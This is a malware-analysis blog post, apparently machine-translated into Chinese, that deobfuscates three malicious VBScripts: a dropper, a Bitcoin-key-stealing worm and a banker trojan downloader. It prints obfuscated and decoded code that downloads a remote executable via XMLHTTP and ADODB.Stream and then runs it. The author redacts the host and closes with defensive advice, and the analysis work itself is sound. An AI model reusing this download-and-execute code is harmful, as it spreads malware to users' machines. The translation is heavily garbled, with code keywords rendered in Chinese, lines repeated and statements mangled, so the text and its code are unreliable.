虽然他们从未真正消失过,但它看起来像野外的恶意VBScripts数量升高。也许与VBA脚本的相似性和宏中可能使用的可能性负责增加的流行度。让我们快速看看其中一些。

首先一些背景

VBScript是基于Visual Basic编程语言的,自Windows 98以来,每一个桌面版本的Windows都安装了VBScript。因此,它的优点是,它是一种相当简单易用的语言,脚本几乎可以在任何Windows电脑上运行。对于恶意软件的作者来说,易于解释的语言也是一个问题,因为研究人员在解释他们的意图时没有问题。因此,他们中的一些人尝试了一些混淆的方法,使研究人员更难。

我们会看看一些例子。从一个简单的开始,然后工作。

示例1

这个的文件名是TEMPcoral。它激起了我的兴趣,因为它经常在严重感染的系统上被发现。作为第一批到达这种系统的人之一,它看起来似乎是一系列我们称之为感染的开始Yelloader.主要是木马。滴管和Trojan.Clickers。你可以在这里找到一些例子删除指南有几个版本的TEMPcoral。但其中一个确实负责下载和运行木马。导致其他感染的滴管。

这是混淆代码的一部分:

昏暗的所有=科(83)+(101)+(116)从而向+从而向杆(32)+装备(115)+(104)从而向+装备(97)+(119)从而向+装备(111)+(115)+(104)从而向+从而向科(105)+(115)从而向+装备(104)+(105)从而向+杆(32)+装备(61)+杆(32)+装备(67)+(114)从而向+装备(101)+(97)从而向+杆(116)+(101)从而向+装备(79)+(98)从而向+杆(106)+(101)从而向+装备(99)+(116)从而向+装备(40)+装备(34)+装备(77)+(105)+(99)从而向+从而向等执行(所有)

作者只是把剧本里的每个角色都换成了它字符代码.消除像这样的简单脚本的混淆就像将“execute”改为“wscript”一样简单。然后你就可以看代码了。

dim all all=Set shawoshishi = CreateObject("Micros"+"oft.XMLH""TTP"):Set yunxingqilaiba = CreateObject("Wsc""rip"" t.l shell "):shawoshishi. txt "打开“获得”,“http://xxx.xxx.xxx.xxx/ ~ pchomee / dom /安装程序”,0:shawoshishi。setRequestHeader "If-Modified-Since",0:shawoshishi.Send():Set shishijiushishi = CreateObject("ADODB.Stream"):shishijiushishi. "模式= 3:shishijiushishi。Type = 1:shishijiushishi.Open():shishijiushishi.Write(shawoshishi.responseBody):dim conststr:conststr="abcdefghijklmnopqrstuvwxyz":dim i,rtime:rtime="":For i=0 To 4:Randomize:rtime=rtime& mid (conststr,Int(Rnd()*Len(conststr))1,1):Next:Setenv = yunxingqilaiba.Environment(“过程”):temppath = env.Item(“临时”):路径= temppath&“\”&rtime&“. exe”:shishijiushishi。SaveToFile path,2:path=path&" -install":wscript.sleep(1000):s="yunxing""qilaiba.R""un(path)":Execute(s) Execute(all)

我x-rated这个知识产权,但对于那些感兴趣的人来说是安装程序T.Hat将下载

下一个例子叫做Bare Bones BTC $.vbs稍微复杂一点,但消除混淆的过程或多或少还是一样简单。我们将其检测为worm . jenxus . script。它用自己的副本覆盖系统上的所有vbs文件,并试图窃取比特币密钥。

昏暗bny_slom bny_slom =“42#63#104#102#104#104#104#103#117#117#104#104#107#114#103#103#103#108#108#108#108#108#108#108#113#108#108#113#108#108#113#108#113#108#113#108#103#103#103#103#103#103#103#103#103#103#108#113#108#113#103#103#108#108#108#113#108#113#108#108#108#113#102#44#35#118#115#115#104#35#61#114#107#103#103#108#113#113#108#48#105#123#123#35#96#等等#113#103#114#103#103#103#103#113#105#105#123#123#35#96#等等#105#123#35#96#等等。。..Suleiman = "" For Each Salem In Split(Bny_Slom, "#") Suleiman = Suleiman & Chr(Salem - 3) Next dim i i = 1 do until i = 10 Execute Suleiman loop

脚本的第一个脱模部分如下所示。

蠕虫

我删除了恶意软件作者的Skype手柄和部分主机名

为了向您展示它并不总是那么容易,我们将看一下名为Curriculum_vitae_Suzana_p文件的一些部分。那是一个银行家。木马下载器

这个使用很多函数。其中一个是被编写的,以混淆许多代码的其他其他部分。

以下是此功能中的混淆代码:

函数RYmQPDQqUWPOrHMrDEBfFOjvggzFCbnLksZowYuYwNAKeXu (cdguuaFZj)暗IVtfgpHgZVTWSQzHZNClG昏暗GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT昏暗PYAmamUdUkjJwQYlMIYmhWurAivLdRDTblkakrvhTJPBhhm昏暗jNdOjYXVIVKyQAEpJhb昏暗MKqIrXmPKUijaorATJRQYACWSnJanKRbckEXXUkE昏暗WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ昏暗nnzVOsFZXdNgBVgD暗dbjsiqCAmIVtfgpHgZVTWSQzHZNClG = Len(装运箱(22-21))——(26-25)GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT = IVtfgpHgZVTWSQzHZNClG PYAmamUdUkjJwQYlMIYmhWurAivLdRDTblkakrvhTJPBhhm = CLng(“h”&中期(cdguuaFZj(26-25),(换)))jNdOjYXVIVKyQAEpJhb =(换)+ (12 11)MKqIrXmPKUijaorATJRQYACWSnJanKRbckEXXUkE = CLng(“h”&中期(cdguuaFZj jNdOjYXVIVKyQAEpJhb,(换))如果(GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT < IVtfgpHgZVTWSQzHZNClG)那么GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT = GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT +其他(16-15)GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT =如果WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ = MKqIrXmPKUijaorATJRQYACWSnJanKRbckEXXUkE Xor(16-15)结束Asc(中期(装运箱((6)),GVzLgGNldeoXjIcFeYupnCmUlJmAOsCnaNyvOT,(还)))如果(WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ < = PYAmamUdUkjJwQYlMIYmhWurAivLdRDTblkakrvhTJPBhhm)然后WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ = 25 + 25 + 25 + 25 + 25 + 25 + 25 + 25 + 25 + 25 + 5 + WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ -其他PYAmamUdUkjJwQYlMIYmhWurAivLdRDTblkakrvhTJPBhhm WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ = WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ - PYAmamUdUkjJwQYlMIYmhWurAivLdRDTblkakrvhTJPBhhm结束如果nnzVOsFZXdNgBVgD = nnzVOsFZXdNgBVgD &空空(WXUBseoHyINpfIeSLLSHWUOcoOJkBVyMRDaBQgovlyJpqVmUnQ)PYAmamUdUkjJwQYlMIYmhWurAivLdRDTblkakrvhTJPBhhm = MKqIrXmPKUijaorATJRQYACWSnJanKRbckEXXUkE jNdOjYXVIVKyQAEpJhb = jNdOjYXVIVKyQAEpJhb + (10-8) loop until (jNdOjYXVIVKyQAEpJhb >= len(cdguuaFZj)) rymqpdqqquwporhmrdebffojvggzfcbnlkszowyuywnakexu = nnzVOsFZXdNgBVgD end function . (

给出有意义的名称和解决计算,使得这函数是一个很多友好的方式来看:

函数函数decrypt1(输入)dim integer1 dim integer2 dim long1 dim integer3 dim long long2 dim long3 dim string1 integer1 = 0 integer2 =整数1 long1 = clng(“&h”和中期(输入,(1),(2)))Integer3 = 3long2 = clng(“&h”&mid(输入,integer3,2))如果(Integer2  = len(输入))函数decrypt1 = String1结束功能

作为如何在脚本的其他部分中使用此功能的示例,我们可以看一下脚本下载文件并将其写入受感染系统上的位置的部分。

这是之前:

function YMGdwSKMICYDqMeUVeZQJrylhKndIYzbUDNvOOqFRXcHVpiic(bouhcbxabuipfqvqjyrehaewqhnusaerb,qjMdnLJlsdGPJnXw) On Error Resume Next Set mPnrPkNOJASpwppobITDRCBz = CreateObject(RYmQPDQqUWPOrHMrDEBfFOjvggzFCbnLksZowYuYwNAKeXu("DB185A83E11F60BF2947A2DB016485")) mPnrPkNOJASpwppobITDRCBz. "open RYmQPDQqUWPOrHMrDEBfFOjvggzFCbnLksZowYuYwNAKeXu("186E82E7"), bouhcbxabuipfqqvqvjyrehaewqhnusaerb, false mPnrPkNOJASpwppobITDRCBz.send() IpsflGFZyCjOdhdksrqaMWUaqll = (mPnrPkNOJASpwppobITDRCBz. send() IpsflGFZyCjOdhdksrqaMWUaqll = (mPnrPkNOJASpwppobITDRCBz. send())Status = (((1 + 1 + 1) * (50 + 10)) + (10 + 10)) If IpsflGFZyCjOdhdksrqaMWUaqll Then Set okYHoYEauCTLLmt = CreateObject(RYmQPDQqUWPOrHMrDEBfFOjvggzFCbnLksZowYuYwNAKeXu("58A8DD1C51A2E104498ADE71EF")) okYHoYEauCTLLmt. If IpsflGFZyCjOdhdksrqaMWUaqll Then Set okYHoYEauCTLLmt = CreateObject(RYmQPDQqUWPOrHMrDEBfFOjvggzFCbnLksZowYuYwNAKeXu("58A8DD1C51A2E104498ADE71EF"))okYHoYEauCTLLmt开放。Type = 1 okYHoYEauCTLLmt。mPnrPkNOJASpwppobITDRCBz写。ResponseBody okYHoYEauCTLLmt。Position = 0 Set RvcTWPRHvSwoOYfHLbVIFYJWGFyXCGVawFkM = Createobject(rymqpdqquwporhmrdebffojvvggzfcbnlkszowyuywnakexu ("B73AAC2EA626AB24A33A59AE29A43BBF084A8FC50260F36FE578DD")) If rvctwprhvswooyfhhlbvifyjwgfyxcgvawfkm . fileexists (qjMdnLJlsdGPJnXw) Then rvctwprhvswooyfhhlbvifyjwgfyxcgvawfkm . If rvctwprhvswooyfhhlbvifyjwgfyxcgvawfkm . If rvctwprhvswooyfhhlbvifyjwgfyxcgvawfkm . If rvctwDeleteFile qjMdnLJlsdGPJnXw结束如果okYHoYEauCTLLmt. DeleteFileSaveToFile qjMdnLJlsdGPJnXw okYHoYEauCTLLmt。关闭设置okYHoYEauCTLLmt = Nothing结束如果设置mPnrPkNOJASpwppobITDRCBz = Nothing结束函数

经过一些重命名和使用我们之前算出的函数后,这就是After。

函数下载tofile(url1,stringpathtofile)在错误恢复下一个设置httpObject = createObject(msxml2.xmlhttp)httpObject.open get,url1,false httpobject.send()longstatusbooleanboolean =(如果logstatusbooleanboolean,则设置ObjectStream =createObject(adodb.stream)objectstream.open objectStream.type = 1 objectStream.Write HttpObject.ResponseBody ObjectStream.Position = 0 Set Object1 = CreateObject(脚本扫描脚印)如果Object1.Fileexist(stringPathtofile)那么Object1.DeletileStringPathTofile结束如果ObjectStream。saveTofile stringpathtofile objectstream.close set ObjectStream =如果设置HttpObject = neall End函数

即使恶意软件作者在这种情况下友好,足以插入关于使用某些功能的评论(在葡萄牙语中),这一点带我更多的时间来解除另一个函数。大多数是因为使用函数使脚本不那么简单。在我可以做出任何休息之前,我必须先找到并弄清楚“解密功能”。

交付

vbscript可以通过不同的方式进入你的系统,可以被下载(想想恶意广告)。也有许多方法感染word和excel文档。由于VBA与VBScript关系密切并且,办公文档类型通常被允许作为附件,与可执行文件相反,此方法可能会留在使用中。

建议书

如果您不需要运行脚本,请考虑禁用Windows Script Host.另外,不要启用宏,除非您非常确定可以信任宏,并且确实需要这样做才能使用手边的文档。如果可能的话,联系发件人/创建者并询问其必要性。

总结

随着visual basic作为第一个攻击矢量的回归,我们看了一下最近的一些vbs文件的消除混淆,从一个非常简单的开始,发展到一个更复杂的脚本。

特别感谢帮我找到样品的网友们:哦,天哪!,提顿鲍勃和搅拌机。

Pieter Arntz